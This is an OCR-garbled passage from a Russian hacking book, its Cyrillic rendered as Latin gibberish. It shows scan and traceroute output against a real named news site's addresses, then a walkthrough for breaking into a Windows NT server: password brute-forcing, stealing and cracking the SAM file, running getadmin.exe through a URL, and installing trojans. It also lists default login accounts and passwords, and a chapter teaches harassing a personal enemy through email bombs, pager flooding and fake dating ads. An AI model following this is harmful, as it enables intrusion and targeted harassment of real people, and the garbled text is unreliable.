8181: Closed

»Inactive IP addressx

Scanning - 198.60.102.3

»Inactive IP addressx

Scanning - 198.60.102.4

»Inactive IP addressx

Scanning - 198.60.102.5

Commencing Port Scan:

Port
Port
Port
Port
Port
Port
Port
Port
Port
Port
Port
Port

Scanning - 198.60.102.6

21: Closed
23: Closed
25: Open

53: Open

79: Open

80: Closed
110: Open
111: Closed
139: Closed
443: Closed
1080: Closed
8181: Closed

»Inactive IP addressx

Scanning - 198.60.102.38
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«Inactive IP address=

Scanning - 198.60.102.39

Commencing Port Scan:

Port 21: Closed
Port 23: Closed
Port 25: Open
Port 53: Open
Port 79: Open
Port 80: Closed
Port 110: Open
Port 111: Closed
Port 139: Closed
Port 443: Closed
Port 1080: Closed
Port 8181: Closed
Scanning - 198.60.102.40

«Inactive IP address=

Scanning - 198.60.102.54

«Inactive IP address=

Scanning - 198.60.102.55

Commencing Port Scan:

Port 21: Closed
Port 23: Closed
Port 25: Open
Port 53: Open
Port 79: Open
Port 80: Closed
Port 110: Open
Port 111: Closed
Port 139: Closed
Port 443: Closed
Port 1080: Closed
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Port 8181: Closed
Scanning - 198.60.102.56

»Inactive IP addressx

Scanning - 198.60.102.254

=»Inactive IP addressx

HneanbHbiM BaprianToM npu B3nome Windows NT ObL1M ObI OTKPHITBIC
nopthbl 135-139. Torna 661 Mbl CMOTJIM MOJTYYUTh Maccy NMO3HABATEIbHON UH-
(opMmarmu o ceppepe, ero cepBucax U mpoyux pecypcax. OnHako npu CKaHu-
POBaHUM MbI MOJYYMIIU:

Scanning - 198.60.102.4

»Inactive IP addressx

JlelicTBUTEIBHO, MaHHBIA cepBep NpUKPHIT firewall'oMm. ITompoGyem
OTIPEACNIUTh €T0 TUII, BHITIOJIHUB TPEUCUHT COCEAHUX aKTUBHBIX XOCTOB. JLJist
9TOro BhIMTOJTHUM KoMaHny tracert 198.60.102.1 (s UNIX komanza trace-
route):

Tracing route to cisco.idahonews.com [198.60.102.1]Jover a maximum
of 30 hops:

11 240 ms 241 ms 240 ms gbr2-p01.wswdc.ip.att.net
[12.123.8.241] 12 261 ms 260 ms 251 ms gbri-p40.oc-
48.s19mo.ip.att.net [12.122.2.82] 13 330 ms 301 ms 390 ms
gbr2-p50.0c-12.sffca.ip.att.net [12.122.3.17] 14 301 ms 320 ms
311 ms ar2-a3120s4.sffca.ip.att.net [12.127.1.145] 15 401 ms

350 ms 351 ms 12.126.207.46 16 381 ms 350 ms 371 ms
cisco.idahonews.com [198.60.102.1]

Trace complete

Elie ogHoI pacnipocTpaHEHHOM OLIMOKOI aAMUHKUCTPATOPOB HEOOIb-
IIMX CeTel SIBJISIETCS MaHepa aBaTh Ha3BaHUsI XOCTaM, UCXO/Sl U3 BBITTOTHSIE-
Mot UM GyHKIMU. biaaromapst 3ToMy Mbl IMOJIYyYMIM MHDOPMALIKIO, YTO XOC-
ToM 1o aapecy 198.60.102.1 ssisiercst Firewall kopropatuu Cisco. Ero tak
MPOCTO HE XaKHeIllb. XOTs, KOHEYHO, CYLIECTBYET IIIAHC, YTO JIEHUBBIM alMUH
3a0bLJ1 CMEHUTB 3aBOACKOI MapoJib. Y XocTa cisco.idahonews.com OTKPHITBIMU
SIBJISIIOTCSI TTOJTydeHHbIe pK ckaHupoBaHuM Ogre roptol: 23 (Telnet), 79.

3aTteM BBITIOJTHUM KoMaHay tracert 198.60.102.5:

Tracing route to router.idahonews.com [198.60.102.5]Jover a maxi-
mum of 30 hops:
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12 260 ms 270 ms 261 ms gbr1-p40.0c-48.s19mo.ip.att.net
[12.122.2.82] 13 321 ms 310 ms 300 ms gbr2-p50.0c-
12.sffca.ip.att.net [12.122.3.17] 14 310 ms 321 ms 320 ms ar2-
a300s3.sffca.ip.att.net [12.127.5.177] 15 341 ms 340 ms 371 ms
12.126.207.34 16 371 ms * * 198.60.104.181 17 361 ms
361 ms 370 ms router.idahonews.com [198.60.102.5]

Trace complete

OnsITh MBI TIOTYYMIIM MHOOPMAIIMIO, YTO XOCTOM ITo azapecy 198.60.
102.5 gaBasieTcst MapuIpyTU3aTOp router (KOTOPbI MOXET ObITh Peau30BaH B
BUIE anmapaTHoro ycrpoiictBa win obbiyHoro UNIX-poyrepa). ¥ xocra
router.idahonews.com oTkpbIThl mopthl: 25 (SMNP-moura), 53 (DNS-cep-
Bep), 110 (POP-cepBep). Mcxonst U3 OTKPHITHIX TTIOPTOB, MOXKHO C YBEPEHHO-
CTBIO 3asIBUTb, UTO NAHHBIN cepBep siBisieTcsl MouToBbIM U DNS-cepBepom.
MoxHO ¢ 60JIbI1I0N YBEPEHHOCTbIO CKa3aTh, YTO JAHHBIA MapLIpyTU3aTOP Ie-
pelaeT MakeTbl BO BHYTPEHHIOIO JIOKaJIbHYIO ToaceTky idahonews.com
192.168.0.*.

TpaccupoBka apyrux xoctoB noaceTku 198.60.102.6-253 nana nHdop-
Manwmio, 9to apyrue IP-aapeca He MMEIOT HUKAKOTO OTHOIICHUS K JOMEHY
idahonews.com.

Kak Mbl BUIMM, MOJYYeHHOM TT0JIe3HON MH(pOpPMaIIMK IBHO HE XBaTa-
eT JUIS IPOHUKHOBEHUS B cucTeMy. 11s1 B3ioMa www.idahonews.com Heo0-
XOIMMO coOpaTh HauboJjiee MOJHYI0 MH(POpMaIMIO 000 BCEX TPEX XOCTaX.
Kpowme toro, Bznom Firewall'oB Cisco u Unix-poyTepoB BBIXOJUT 3a TPAHULIbI
NaHHOi TeMbl. [T03TOMY MBI pACCMOTPUM UACATbHBINM BApUAHT, TPU KOTOPOM
cepBep Windows NT He 6611 661 TpUkphIT Firewall'om 1 mopthl 135-139 6bI-
JI OBbI OTKPBITHI.

nasa 12.
B3nom cepeepa Windows NT

MNAEAAbHbIN BOPUCHT

Hrak, paccMOTpuM MaealbHbIIA BApUAHT, IPU KOTOPOM K ceTu Internet
noakiaoueH cepep Windows NT, kotopsiit He ipukphiT Firewall'om, u XxoTst
ObI ofIMH TOPT B nuana3oHe 135-139 otkpriT. Takoe MHOTIA ObIBAET U ceifvac,
KOT/Ia MoJiofasi KOMIIaHMS HeJJaBHO HavyaJla CBOli OM3HeC, He MUMeeT HU MaJieii-
1LIETO MOHSITUS O TOM, 3aueM eii firewall, a TakKe MbITaeTCsl COKOHOMUTD I€Hb-
ru. Kpome Toro, Moxer ObITh, B TaKOIi KOMIaHUM pab0OTaeT HEOIBITHBIN CHC-
TeMHbIII agMMHUCTPATOpP, KOTOPLIA mpocTo MHcTawiupyer Windows NT u
ycTaHaBauBaeT nocienHuii Service Pack. 3arem cTaBUTCS M HacTpauBaeTCs
IS, mocyie 4yero amMHUH yCITIOKauBaeTCsl, XOTSI €My CJIeIoBajlo, IIPEXae BCEro,
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BKJIIOYUTh AyIUT, CKOH(MUTYPUPOBATH PEECTp, MOCTAaBUTh IMOCIICAHNUE ITaTdIn
u fix'pl, a TakXKe OTKJIIOYUTH BCe HEHYXHBIE CIyKObl 1 npuBs3ku (Binding)
B HacTpoiikax anrmpeta «Network» (CeTb).

Ecnm cepBep HOBOCTe# 1ITaTa Ali1ax0 He ObUT TOABEPTHYT BEIIIICOITH -
CaHHBIM HacTpoliKaMm, yTuiuTa Ogre Bbliasia Obl CIeIyOILYI0 MHDOpMAIINIO:
Scanning - 198.60.102.4

Commencing Port Scan:
Port 21: Open

JonyctuM, uyTo oTKphITa ciyxkba FTP, kotopas Bxoaut B cocTas 11S.

Port 23: Closed
Port 25: Open

JomycTtuM, 4To OTKpHhITa ci1yxk6a SMNP, kotopast Bxonut B coctas I1S

Port 53: Open
Port 79: Closed
Port 80: Open

HormycTtum, uto otkpseiTa ciayx6a HTTP, koropast Bxoaut B coctas IIS.

Port 110: Open
Port 111: Closed
Port 139: Open

HomycTtum, yto Bo3moxeH File Sharing.

Port 443: Closed

Port 1080: Closed

Port 8181: Closed

Surveying Web Server:

--Checking for Vulnerable URLs:

Frontpage Extensions: Not Present

IIS HTML Administration Interface: Present

JlormycTuM, 94TO BO3MOXHO yIpaBjieHue cepBepoM uepe3s I1S.
IIS Samples: Present
Commencing Nbtstat Scan:
NetBIOS Remote Machine Name Table
Name Type Status

Registered Registered Registered Registered Registered Registered
Registered Registered Registered Registered Registered

MAC Address = XX-XX-XX-XX-XX-XX

CumBosiamu X, Y U Z 3aMEHEHBI pealbHble 3HAYCHMS, KOTOPBIC MBI
MOJTyYriIn Obl, eciii Obl cepBep He ObLI firewall'oM.
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YYYYY <00> UNIQUE ----- Mg mawmHsl
YYYYY <20> UNIQUE
777777777 <00> GROUP
777777777 <1C> GROUP
777777777 <1B> UNIQUE
777777777 <1E> GROUP

YYYYY <03> UNIQUE
777777777 <1D> UNIQUE
INet~Services <1C> GROUP
..__MSBROWSE__.<01> GROUP
ISTYYYYY. ... ... <00> UNIQUE

Kpome Toro, ungopmanuio mo NetBIOS mMbl MoXeM MoJyduTh, BbI-
MOJHUB KoMaHy nbtstat -A x.x.x.x.JIyst pacumgpoBku KogoB uMeH NetBIOS
Bbl MOXKET€ UCIOJIb30BaTh ONMCAHUS KONOB.

* Tepmun UNIQUE o3HavaeT, 4To OMHOMY UMEHU KOTOPOTO
npucBoeH oguH IP-anpec;

* Tepmun GROUP o3HauyaeT HOpMaJIbHYIO IPYIIITY, OAHOMY
MMEHHU KOTOPOIt MOXeT MpUuHaajiexath rpymnna IP-anpecos.

Jnsa naeaasHOro BapMaHTa, KOTOPBIA MBI pacCMaTpPUMBaeM, MBI IOJTY-
YyIid MHGOPMALIMIO, OT KOTOPOH MOXHO OTTaJKMUBAThCsS IPU B3JIOME
Windows NT.

N3 3701 mHGOPMALIMK MOXKHO TTOHSITh, YTO CEPBEP MPENOCTABIISET 0~
CTyI IIJIsI BBIICJICHHBIX B COBMECTHOE MCIOIb30BaHue pecypcoB u FTP.

3aTeM MOXHO MOMpPOOOBATh 3aiTH Ha CepBep, UCIOJb3YS OIOIXKETHI,
KOTOphIe cTaHmapTHO npucytcTByioT B Windows NT (Guest, Administrator),
OITHAKO HaBEPHSIKa Y BaC HUYETo He nojyuutcsi. Kpome Toro, Bbl MOXeTe MO-
NbITaTbes Ucnofib3oBatTh O610mKeThl IS (Internet Information Service), 0ObIu-
Ho oHM BeIIISHAT Tak IUSR_<ums mammusr>. [Tpu nomoiu ytuautsl Ogre
MBI MOJTyYrIi uHGopMaLuio, uto umst MmamHbl YYYYY, cienoBareibHo, O010-
ket IIS 6yner IUSR_ YYYYY.OnHako u ¢ 3TUM BapraHTOM, HABEPHOE, TOXE
HMYETo HE MOJY4YUTCS.

s B3noma cepBepa Windows NT ¢ BeIIeJIcHHBIMU B COBMECTHOE HC-
MOJIb30BaHKME KAaTajJoraMu BaM CJIEAyeT UCIIOJIb30BaTh YTUJIUTHI, KOTOPHIE
MTO3BOJISTIOT TTPOU3BOANTD MOAKITIOYEHHE K BBIICJICHHBIM pecypcaM ¢ ToJIb30-
BaTeJIbCKUMM OIOIKETAMU U BBITIOJHSIOT TTOI00p MapoJIs U3 coBaps /Wi
MPSIMBIM TIEPeOOPOM BCEX BO3MOXKHBIX BADUAHTOB.
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Mcnoab3oeBaHue nporpammbl NAT Aaa nop6opa
NAPOAEN K BbIAEAEHHbIM B COBMECTHOE
MCMOAb3OBAHUE PeCcypCcam

Haubonee yno6HO# U MoIHOGYHKIIMOHAIBHONW U3 3TUX YTUIUT SIBJISI-
ercsa mporpamMa NetBIOS Auditing Tool, peasinzaiiuyu KOTopoii eCTh Kak MMoJI
UNIX, Ttak u mox Win32.

M3HauanpHO mporpamma Nat Obuta co3aaHa isl BHITIOJHEHUS pa3inyd-
HBIX IIPOBEPOK 3aIUTHI ONEPALIMOHHBIX CUCTeM, Mcoab3ytomux NetBIOS.
HanHas mporpamMma paboTaeT B pexXMMe KOMaHIHOW CTpokW. Bot ee cuH-
TaKCHC:

NAT [-0 <OAWN_PE3YNbTATOB>] [-U <OAMN_CMMCKA_MONb30BATENEM>]
[-P <OAAN_ CNOBAPS_NAPONEN>] <IP-ALPEC>

I1o ymonyaHuio B KauecTBe (paiijia CIMcKa Iojab30BaTesieid UCIoab3y-
erca ¢aiin Userlist.txt. [lognpaBum 3TOT (paiti, 106aBUB B HETO HOBbIC UMEHA,
MoJlydeHHbIe TTPU oMoy nporpaMMbl Ogre. Maiin cioBaps naposeii ayuie
B34Th U3 nporpammbl LOphtCrack, coxpauuth nox umenem Passlist.txt. Jloba-
BMM B HEero MMeHa, MoJydeHHbIe Mpy Momolnu nporpammbl Ogre. 3atem U3
KOMaHJHOM CTPOKM BBITIOJHUM MporpamMmy nat:

NAT -o REZALT.TXT 198.60.102.4

ITporpamma NAT mpousBeseT TeCTMPOBAaHME BCEX CETEBBIX CIIYXKO,
MpoOYys MPOU3BECTH MOJIKIIOUCHNE.

OOBIYHO MaHHBIM IpolIecC OBIBAaET AOBOJIBHO IJIUTEIbHBIM, IPOIOJI-
KUTETbHOCTh €r0 3aBUCUT OT TOTO, HACKOJbKO YIaYHO OBLIM COCTaBJICHBI
daiuel crMcKa IoJib30oBaTeneit u naposieil. OgHako ¢ OOJBIION yBEpEeHHO-
CThI0O MOXHO cKazaTh, 4yTo nmporpamma NAT cymeeT rmogoOpaTh 1maposib K ofi-
HOMY M3 0I0[KE€TOB B mpoMexkyTKe oT 30 MmuHyT 1o 50 gacos.

Hanee nmpotieccy B3noma cepBepa Windows NT rapaHTUpoBaH NMpakTH-
yecku 100% ycniex. BpeMs, KOTopoe oTpeGyeTcst 1T B3JIoMa CUCTEMBI, 3aBU -
CHUT OT TOTO, HACKOJILKO TYIT aAMUHUCTpaTop cucteMbl. Eciiu mporpamme NAT
yIaJIOCh ONPENeUTh Naposb 1Jis1 OromkeTa Administrator, To Ha 3ToM Mpolecc
B3JIOMa YCIEIIHO 3aKOHYEH U Bbl MOXETE JejaTh C CEPBEPOM MPAKTUUECKU
YTO YTOIHO.

Ecnu 6romxet, kotopbiii mporpamMma NAT omnpenenuna, He seasemcs
6romkeroM Administrator, To Bpemsi B3JioMa 3aBUCUT OT TOTO, KAKMMU BO3-
MOXXHOCTSIMU O0JIafaeT TaHHBIM aKKayHT M Ha KaKWe Pecypchl OH NMeeT Mpa-
Ba JocTyra. MoxeT ObITh, yIACTCS TTOJCOCTUHUTD ANCK, UCTIONb3Ys] KOMaHIy
NET USE, u ckonupoBaTth pe3epBHYI0 Komnuo ¢aiiia 6a3bl JaHHBIX TTaposieit
SAM._ u3 karaiora WINNT/REPAIR 1 miocie Iyroniero BCKphITHS TP 1O~
moiu nmporpammbl LOphtCrack, kak yxe ObUTO OITMCAHO BBIIIIE.
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Kpome Toro, noacoenruus auck rpu nomoiu NET USE (v nipu
oMot FTP), MoxeT ObITh, yOacTCsI 3arpy3UTh Ha yIaJICHHBIN KOMIIbIOTED
OIIHY W3 TMPOrpaMM, KOTOpbie MOMOTYT MOJYYUTh IMpaBa agMUHHCTpaTopa
(Getadmin u T.1.). [IJ1s BBIMOJIHEHUST TAKUX MTPOTrPaMM YAAJIEHHO Ha cepBepax
Windows NT cieayer cKonmupoBaThb JaHHbIE B KaTajJor CKPUMNTOB WU B
InetPub/cgi-bin. 3aTem, ucrnoab3yst O6pay3ep, MOXKHO BBIMOJHUTH yIaJleHHO
Ha cepBepe NaHHble TPOrpaMMBbl, BBE/ISl B CTPOKE aipeca CTPOUKY:

http://www.idahonews/scripts/getadmin.exe?mmmm

e mmmm ABJIACTCA UMCHEM I10J1b30BaTEJIA, ITapOJIb KOTOPOTO BhI OIT-
peacianin.

Takum xe 00pa3oM BO3MOXHO BBIIOJIHUTH JIFOOYIO XaKEePCKYIO YTHIH-
1y Bpone PWDUMP.EXE (151 nmosiydyeHus Xa1a MmapoJisi agMUHUCTpaTopa)
WU TpostHeKue rporpammbl Bpoze Back Orifice iy NetBus (http://indigo.ie/
~Imf/nb.htm), KoTopble MO3BOJIAT CAENATH TOBOJEHO MHOTOE.
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XaKkepcKkue TprokKku

AnaBa 1.
Kaaccunopumkaumsa metoAo0B B3SAOMA
KOMMbIOTEpPOB

JlomycTuM, 4TO Bbl UMeeTe KaKOW-JIMOO TOCTYM K CETU U XOTUTE pac-
IIMPUTH CBOU BOBMOXHOCTH ITyTeM MTPOHUKHOBEHUSI Ha APYTHe KOMITBIOTEPHI
WJIY TIOBBICMB CBOM TTpaBa Ha MalllMHE, C KOTOPOIi BbI paboTtaeTe. [ToaTomy Bce
METOJIbI B3JIOMA JIEJISITCSl Ha IBE TPYTIIIbI:

MeToAblI AAS MPOHUKHOBEHUS HO KOMMbIOTEP U3 CeTU

* Ilon6op mapoins. Kpurepuii — Bpems. Cieayet UMETh B BULY
TO, yTO 00bIYHO Ha OonbiHCTBe UNIX login ¢ ymaneHHoro
TepMMHaJIa NoJib30BaTeto root 3anpeiieH. [loaTomy 06b14HO
noaOMPaIOT ITapOJIM OOBIYHBIX ITOJIb30BaTEIICH.

. Hcnonp3oBaHue OMMOOK ONepallMOHHBIX CUCTEM TSI
MoJyyeHus1 UHGOPMaIIMK O TI0JIb30BaTENISIX HA MallIMHE
(Hanpumep, login&password).

. Hcnonb3oBaHre CKAHUPOBAHUST TIPOXOASIIINX B CETU TTAaKETOB
(sniffing), 11 monyyeHust MHOpPMAIIMU O TIOJIb30BaTeNe(-5I1X).

* «TpostHCKHEe KOHW» — MPOTrpaMMBl, CoAepKalllie B ce0e HEKUA
«IIOBECOK» U «ITOJapEHHBIe» Ha aTaKyeMylo MallluHYy.

. OnVH 13 HOBBIX CITOCOOOB: UCITOIb30BaHKE OIIMOOK B
WWW-0603peBaTeisix 1 BO3MOXHOCTEil HOBBIX 3JIEMEHTOB
WWW-ctpanuiy — JAVA, ActiveX. B aTux HegaBHO
MOSIBUBIIMXCS CPEICTBAX CO3MAHNS MHTEPAKTUBHBIX
WWW-cTpaHuI1l UCTTOIB3YeTCS TEXHOJIOTUS MepeKauyK HEKOTO
KOJa Y/WJTA CKPUIITA Ha MAaIIMHY TTOJIb30BaTeNIs U 3aTEM UX
aBTOMATUYECKUIA 3aMyCK.

MeToAbI NOBbLILLEHUS1 CBOUX NPCB HA KOMIMblOTEpe

B atom cJiyyae BC€ 3aBUCHUT OT ONIEPALIMOHHOM CUCTEMbI KOMIIBIOTEPA,
Ha KOTOPOM BbI XOTUTE MOOUTHCST MOBBIILIEHHBIX TIIPUBUIIETUMA. Y kaxmoii ecTb
CBOM IbIPBI; IMPO CTaHOAAPTHBLIC HE MMECT CMbIC/Ia pacCKa3blBaTb, pa3B€ 4YTO
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B KaueCTBE KJIACCHMUYECKUX MPUMEPOB, M OHM YK€ JaBHO 3aTKHYTHI, PO OC-
TaJIbHbIe, ECTECTBEHHO, HUKTO HE PAacCKaXeT — T.K. MX TYT e 3aTKHYT, Tak
YTO MINUTE. DTO MOTYT OBITh, HAIIPUMED:

* HeKOppeKTHO HaIltMCaHHBIC IMPpOrpaMMbl (He IIPOBCPAIOIINEC HA
KOPPECKTHOCTb BBOAUMBIC IAHHBIC, UMCIOIIINEC
HEJOKYMCHTHUPOBAHHbLIC KOMAaHbI, (bnam n T.)I.).

* HenpaBuibHbIe paBa AOCTYIIa K CUCTEMHBIM (haiiaaM u
IUpeKTOpusM (Harpumep, npu uHctausauun QNX Bce
CHUCTEMHBIE TUPEKTOPUU UMEIOT (PJIarv FIWXrwXrwx, a aBTop
porpaMmmel mqc 3a601a1Bo octaBusl SUID 'HbI KOMaHIHBII
daii1 ¢ TaKMMU XK€ aTpuOyTaMm).

B KOMIIbIOTEPHOM MUpE CYLIECTBYIOT MHOIO OpraHM3aliii, 3aHUMa-
IOIIMXCST HAXOXIEHWEM 1 MH(GOPMHUPOBAaHUEM 00 OIIMOKAX U AbIPKAaX B OIe-
PALIMOHHBIX CUCTEMAX, B LIEJISX UX CKOPEMIIEro HAXOXAECHUS U UCIIPABIEHUS
CUCTEMHBIMH aIMUHUCTPATOPAMH, HO KTO MEIIAET XaKepy TOXKE IMOydaTh Ta-
Koro pona uHpopmaino? O6bIMHO HEMEJICHHOE UCIIOb30BaHUE MOTyYeH-
HOI nH(MOPMALIMK IAET PE3YIbTaThI.

fAaBa 2.
CTaHAQPTHbIE NAPOAU B ONEPALMUOHHBIX
cucrtemMmax

B HekOTOPBIX ciTydasix BO3MOXEH MOA00P MapoJist T BXOJIa B CUCTEMY.
o HegaBHETO BpeMEHM TOJIb30BATE TN BHIOMPAJIU ITapOJId, KOTOPBIE JIETKO 3a-
ITOMHMWTb, WJIN IaXKe OCTABJISUIA T¢, KOTOPHIE CTOSIT B CUCTEME TI0 YMOTYaHUIO
npu uHcTasiuuu. Eciu y Bac He xBataeT (paHTa3uM, Bbl MOXKETE MOIKCIIepH -
MEHTHUPOBATh C TUM CITUCKOM:

admin, ann, anon, anonymous/anonymous, backup, batch, bin
checkfsys, daemon, demo, diag, field, ftp, games,
guest/quest, guest/anonymous, help, install, listen, 1p,
lpadmin, maint, makefsys, mountfsys, network, news, nobody,
nuucp, nuucpa, operator, powerdown, printer, pub, public,
reboot, rje, rlogin, root, sa, setup, shutdown, startup
sync, sys/sys, sysadm, sysadmin, sysbin/sysbin, sysbin/bin
sysman, system, tech, test, trouble, tty, umountfsys,
user/user, userl/userl, uucp, uucpa, visitor.

Taxke o4yeHb YacTO MOJb30BaTEIU HCITOJIB3YIOT B Ka4Y€CTBC IapoOJisd
CBOC M4, (baMI/UII/I}O WJIM BOOOIIIE €ro He CTaBsIT.
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fAaBa 3.
Kak HaBpeaAUTb HeApYry € nomMmoLbio Internet

B xauecTBe MHCTpyMeHTa MecTH Internet uaeaneH. OH TIpeaCTaBIseT
Maccy Jocelie He UCITOIb30BaHHBIX BO3MOXHOCTeH. JlymaeTcs, 4To maxe Ta-
KUe 3aCITy>KeHHBIE CITEIIMAJIMCTHI B 3TOM BOITpOCe, KakK Tepor « T pex MyIIKeTe-
poB» AstekcaHapa JIioMa, JKUBY OHU B 3TTOXY MTOBAJIbHON MHTEPHETU3AIINHT 00-
IIIECTBA, MOTJIM OBl MOYEPITHYTH 3/IeCh HEMaJIo HOBOTO TSt ce6s1. [IpencraBpTe
cebe: BMECTO TOTO, YTOOBI MOTaThesl MO Beelt PpaHLIMU, TIepeoieBasich TO
MYXYUHOM, TO MOHaxWHei, Mujienu Tipocto ormpasiseT J'ApTaHbsSHY
€-MeiT ¢ BUPYCOM, KOTOPBI HAITPOYb CTUPAET BCIO MH(MOPMAIINIO € XKECTKO-
ro nucka. CKopee Bcero, ImocJie 3Toro u3Bectre o cMept KoHCTaHIIMM TToKa-
3aJI0Ch ObI EMY MaJIO 3aCTy>KMBAIOIIINM BHUMAaHMSI.

Crnioco0bl MCTTOPTUTD XKU3Hb CBOEMY HEIpPYTy, Mojab3ysich Internetom,
XOPOILHU, TPEXIE BCETo, JETKOCTbIO M MAJIbIM KOJMYECTBOM 3aTpaunBaeMbIX
cuji. MecTb MOXKHO OCYIIIECTBUTD, UYTO Ha3bIBaeTCsl, He BcTaBas ¢ quBaHa. Ofi-
HaKO HE€ HajJo CIMIIKOM YyX ToJjlaraTbCs Ha 3Ty OOMaHYMBYIO JIETKOCTb.
Internet-mMecTb UMeeT CBOIO crielIUUKY, CBOM TUTIOCHI U MUHYCHI, U, €CJIN 3a-
OBITb O BTOPBIX, YITMBASICh UCKIIOYUTENLHO MIEPBHIMU, TO HABPEAUTH MOXHO B
MepBYI0 ouepeab cede camoMy. JlapaiiTe momnpoOyeM BKpaTiie 03HAKOMUTLCS C
pa3IUYHBIMU cIloco0aMu MecTH uepe3 Internet, mist yiodocTBa pa3aeanB UX Ha
HECKOJIbKO I'PYIII:

. I'pyOnie
* IMomuubie
* ITponoHrupoBaHHOTO JeHCTBUS
* H3bickaHHBIE.
[py6ble

Cioza BXOAST CIOCOOBI MECTU camble MPOCThIE U OJHOBPEMEHHO ca-
Mble olyTUMBbIe. [Tpu 3TOM IS TOTO, YTOOBI MOATaANTbh HEMPUITHOMY BaM
MepPCOHaXYy, BaM He MPUAETCS daxe UCIob30BaTh Bo3aMoxxHocT World Wide
Web. Kak npaBuio, OyaeT BIOJIHE 10CTaTOYHO OOBIYHOM 3JEKTPOHHOM MOY-
Thl. [TaBHOE — y3HaTh 3JEKTPOHHBIN aapec NOCTABJSIONIETO BaM HEMPUSIT-
HbI€ SMOIIMHU MTEPCOHAXA. A BOT UTO OTIPABUTH IO HEMY — 3TO yKe Ballle JIe-
Jo. XOTUTE — IIOChUIAiiTe MUCBMO C BJIOXEHHBIM (hailloM HeMepeHOro
ob0beMa. XOTUTe — OTIpaBJIAiiTe OOBIYHOE IMO3APABICHUE C THEM POXKACHUS,
TOJIBKO Pa3 Mo c¢To Ha JHI0. OCOOeHHO yaauyHo, ec/ii y Ballero HeApyra ecTb
MeKep: MoJb3ysiCh BO3MOXHOCTBIO OTIPABISITH COOOIICHUs Ha TeWIKep
yepe3 Internet 1 3agaB nMpu oTMpaBKe HYHKIIMIO TOBTOPA, BbI JOCTABUTE O0b-
€KTY Ballleif MECTH HEMaJIO MPUSITHBIX MUHYT.
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Ilrrocer: IPOCTOTA UCTIOTHEHUS B COUYETAHNMU C OIITYTUMOCTBIO yiepoa.
[MpuMeHUB CrIOCOOBI MECTH M3 3TOM TPYIIITHI K BallleMy HelpyTy, OYIbTe CITo-
KOWHBI: Ballli CTapaHMsI HEIPEMEHHO OYIyT 3aMeUYeHBI U OLICHEHHI.

Munycbi: eciiv ObI ThI, IPYXKOK, ObLT 3HATHBIM XaKepOM, TO HYXIbI B 10~
JIOOHBIX CITOCOOAaX MECTU He BO3ZHUKAJIO ObI: TBOM Bparv, UMEOIIKNe TOCTYIT B
Internet, n 6e3 aTOrO CTapaNMch OBl TeOS He 3ameBaTh HU CJIOBOM, HU B3IJISI-
JIOM. A €CJIV TBOU TIO3HAHUST B KOMITBIOTEPHOI 00J1aCTH IaJIeKH OT BCECTOPOH-
HMX, TO BBIYMCIUTH KCTOYHUK BPEIOHOCHBIX ACCTBUI ISl TBOETO Bpara He
COCTaBUT Tpyna. M oTBeTHast MeCThb, KaK BOIUTCS, OyIeT KeCTOKOM M KpoBa-
BOI. A TaK JIM yX Thl HE TOPOXKUIITL CBOUM COOCTBEHHBIM TIEHIKEPOM U TTOY-
TOBBIM SIIIIUKOM?..

MowAbie

Toxe HecIoXHBI B UCTTOJIHeHUU. HyXHO JUIb pa3MeCTUTh OObSIBIIE-
HME 0 3HAKOMCTBE OT UMEHM Balllero Helpyra/HeApYTMHU Ha TOCKax OObsIBIe-
HUM JUIS JIUL TOU CEKCYaJIbHOM OpUEHTALIMM, K KOTOPOI HEAPYT HE UMEET Ye-
CTW MpPUHAJIeXaTh. biauxaiilive AHW eMy TPUAETCS MPOBECTU, OOBSICHSIS
CBOU CEKCyaJIbHbIE TIPUCTPACTUS JIIOJSAM, XaXIyIIMM 3HAKOMCTBA, HO TIPU-
HaJlJIeXallluM K COBEPILIEHHO HE NHTEPECYIOLEMY €ro MOJy...

ITarocur: MoryT He BeIYMCIUTH. K TOMY Xe Haj momoOHOM ornepauueit
MOXHO TTOCMESTHCS B KOMITAHUU, €CJIU, KOHEYHO, CPETHUI BO3PACT yUaCTHU -
KOB KOMIIAaHUUW He TIpeBbIaeT 13 JeT, a cpenHuii KoapOUUMEeHT MHTEeUIeK-
ta — 80 enuHULL.

Munycwi: Tlono60BaThCsl Ha €710 PyK CBOUX BCE PABHO HE MOJYYUTCS.
A He oTcliexXeHHas COOCTBEHHBIMU TJIa3aMU MECTb — 3TO TOYTH M He MECTh
BOBCE.

MPOAOHIMPOBAHHOIO AENCTBUS

Crnoco6 0cOOEHHO XOPOIII JIsI TOKUHYTHIX XKEH U JIIOOOBHUIL — pa3me-
CTUTb OT €r0 UMEHU OOBSIBJIEHVE O 3HAKOMCTBE B NMpaBUibHOM paszzee. [To-
TpPaTUB HECKOJIbKO MECSIIEB Ha MEePenucKy C AeBYIIKaMU, OTCEUBAHUE TeX,
KTO HE B COCTOSTHUU HamucaTh 6e3 O1IMOOK CI0BO JJIMHHEE TpeX OYKB, OH, Ha-
KOHell, MPUCTYIIUT K CepuUr cBUIaHUil. Bo BpeMsi KOTOpbIX HEMTPEMEHHO 00-
HapyXWT, 4TO CJIOBA «KPAaCUBas», «CTPOITHAsI», «<yMHasl» OH U IEBYILIKUA TOHU-
MaloT M0-Pa3HOMY, a OTCKAHMPOBAaTh COOCTBEHHYIO (oTorpaduio ajsi IOHON
JIeIn He B IPUMEP CJIOXKHee, yeM B3sITh u3 CeTu nepBylo nomnasuiytocs GoTo-
rpacduio doromosenu U NpuUlENUTh €e K MucbMy o cede. Ckopee Bcero, co
BPEMEHEM OH Jiaxe MPUJIET K BBIBOMY, UTO Thl — JIy4lllee, YTO OH BCTPETUJT Ha
cBoeM mytu. Eciu ke mpuuMHON paccTaBaHMsI CTAJIO TBOE MATOJOTHYECKOe
HeXXeJlaHUe 3aHUMATbhCS JOMAIHUM X035IICTBOM — TO MOXHO Pa3MeCTUTh Ha
KaKOM-HUOY/Ib caiiTe JUisl JOMOXO03sIeK HEBUHHBII BOMTPOC OT ero uMeHu. Ha-
MpUMep, 0 TOM, KaK MPUroToBUTh 6opiil. C 0OpaTHBIM aipecoM, pa3yMeeTcsl.
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B 6mkaiiive AHU ero MOYTOBBIN SIIIUK 6YZLCT NEpEnoJIHCH PEKOMEH Al -
MU [IPUMEPHBIX KYJIMHAPOK, 4 OH HAKOHEL-TO IOUMET, YTO OT MU30bITKA XO-
39CTBEHHOCTH TOXE MOXHO B3BbITb...

ILrocol: BCe IIO-YC€CTHOMY.

Mumnycel: a BIpyr OH U BOpaBoy BCTPETUT CBOe Hejlerkoe cyactbe? Thl
Xe BeK cebe 3TOro He IMPOCTUIIID!

N3bICKAHHBIE

